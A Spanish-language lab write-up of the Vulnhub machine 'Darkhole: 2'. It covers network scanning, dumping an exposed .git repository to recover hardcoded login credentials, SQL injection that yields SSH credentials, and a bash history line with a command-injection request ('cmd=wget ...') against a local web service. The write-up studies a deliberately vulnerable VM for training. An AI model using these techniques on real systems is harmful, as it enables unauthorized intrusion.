Hello World \o/
  • 👾ENCONTRASTE MIS WRITEUPS
  • 🟣 MAQUINAS VULNERADAS
    • Vulnhub
      • Darkhole: 2
      • Symfonos 1
      • Symfonos 2
      • ICA: 1
      • Corrosion 2
      • Venom 1
      • Corrosion 1
    • HackTheBox
      • Return
      • Horizontall
      • Validation
      • Love
      • Nodeblog
      • NunChucks
      • Lame
      • Legacy
      • Knife
    • PortSwigger
      • Blind Sqli
  • 🟣 CTFS
    • Bandit
    • Baby Encription
    • Primed for Action
  • 🟣 BUG BOUNTIES
    • Open Redirect
  • 🟣 SCRIPTS
    • I Found You
  • 🟣 PROYECTOS
    • Landing Page
    • Face Tracker
  • 🟣 SOBRE MI
    • Contactame
Powered by GitBook
On this page
  1. 🟣 MAQUINAS VULNERADAS
  2. Vulnhub

Darkhole: 2

Sobre esta maquina: VulnHub

Sistema Operativo: Linux

Skills Usados:

  • Information Leakage

  • Github Project Enumeration

  • SQLI (SQL Injection)

Metodologia:

Hacemos un escaneo en la red local para identificar la maquina a vulnerar:

// arp-scan -I ens33 --localnet
192.168.1.137	00:0c:29:f8:22:e0	VMware, Inc.

Asignamos la ip como Target y procedemos a realizar, las respectivas enumeraciones:

  1. Ping para identificar si responde e identificar a que OS nos enfrentamos

// ping -c 1 192.168.1.137 -R

PING 192.168.1.137 (192.168.1.137) 56(124) bytes of data.
64 bytes from 192.168.1.137: icmp_seq=1 ttl=64 time=0.668 ms
  1. Realizamos Nmap para encontrar puertos abietos (puerto 22 y 80 abierto)

//  nmap 192.168.1.137 -oG FirstScan

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 17:23 EDT
Nmap scan report for 192.168.1.137
Host is up (0.00051s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
  1. Identificamos las versiones y utilizamos scripts sobre los puertos abietos

// nmap -sCV -p22,80 192.168.1.137 -oN EscaneoSVC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 17:29 EDT
Nmap scan report for 192.168.1.137
Host is up (0.00058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: DarkHole V2
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   192.168.1.137:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
MAC Address: 00:0C:29:F8:22:E0 (VMware)
  1. Exploramos que servicio web que corre en el puerto 80

Intentamos probar vulnareabilidades con SQLI con Burpsuite pero no conseguimos nada, asi que buscamos en el .git que encontramos en los scripts y lo descargamos para buscar que informacion podemos recabar

// wget -r 192.168.1.137

Buscamos en el .php y en el index y no conseguimos nada, pero intentamos ver los commits realizados en el git para conseguir algo de informacion

// ❯ git log

commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

Asignaron login.pgp con credenciales default asi que hacemos una busqueda mas extensa

// 

❯ git log --oneline

0f1d821 (HEAD -> master) i changed login.php file for more secure
a4d900a I added login.php file with default credentials
aa2a5f3 First Initialize

❯ git show a4d900a

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+        $_SESSION['userid'] = 1;
+        header("location:dashboard.php");
+        die();
+    }
+
+}
:

Logramos acceder con los datos obtenidos lush@admin.com y 321 de password

Observamos que tiene el campo ID y abrimos Burpsuite para verificar si es vulnerable a SQLI

Obtenemos la información de las bases de datos:

mysql, information_schema, performance_schema, sys, darkhole_2

Buscamos listar usuarios de ssh mediante sql para buscar encontrar credenciales (recordemos el puerto 22 estaba abierto)

Ingresamos con las credenciales encontradas por SSH

// 

ssh jehad@192.168.1.137
yes
password:fool
jehad@darkhole:~$

Hemos obtenido una consola ssh, asi que ahora buscaremos observar el historico de comandos y escalar privilegios

// 

jehad@darkhole:~$ cat .bash_history | less

curl "http://localhost:9999/?cmd=wget http://google.com"
curl "http://localhost:9999/?cmd=wget&http://google.com"
curl "http://localhost:9999/?cmd=wget%20http://google.com"

jehad@darkhole:~$ netstat -nat

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN     
tcp        0    172 192.168.1.137:22        192.168.1.136:55354     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN 

jehad@darkhole:~$ ps -faux | grep 9999

losy        2156  0.0  0.0   2608   604 ?        Ss   20:57   0:00      \_ /bin/sh -c  cd /opt/web && php -S localhost:9999
losy        2158  0.0  0.4 193672 18824 ?        S    20:57   0:00          \_ php -S localhost:9999
jehad       8343  0.0  0.0   6300   736 pts/0    S+   22:46   0:00              \_ grep --color=auto 9999

Vemos que tiene un servicio web corriendo por el puerto 9999 lo que nos permitirá hacer un portforwarding para poder acceder a otro segmento de red, pero en este caso la maquina no lo contempla, dándola por terminada.

PreviousVulnhubNextSymfonos 1

Last updated 1 month ago

Hay un sitio web alojado y con login, buen indicativo de inyeccion SQL
Vulnerable a SQLI ahora buscaremos encontrar las bases de datos y las columnas
Ademas de estos datos, tambien conseguimos las tablas SSH Y USERS
Conseguimos credencials ssh JEHAD:FOOL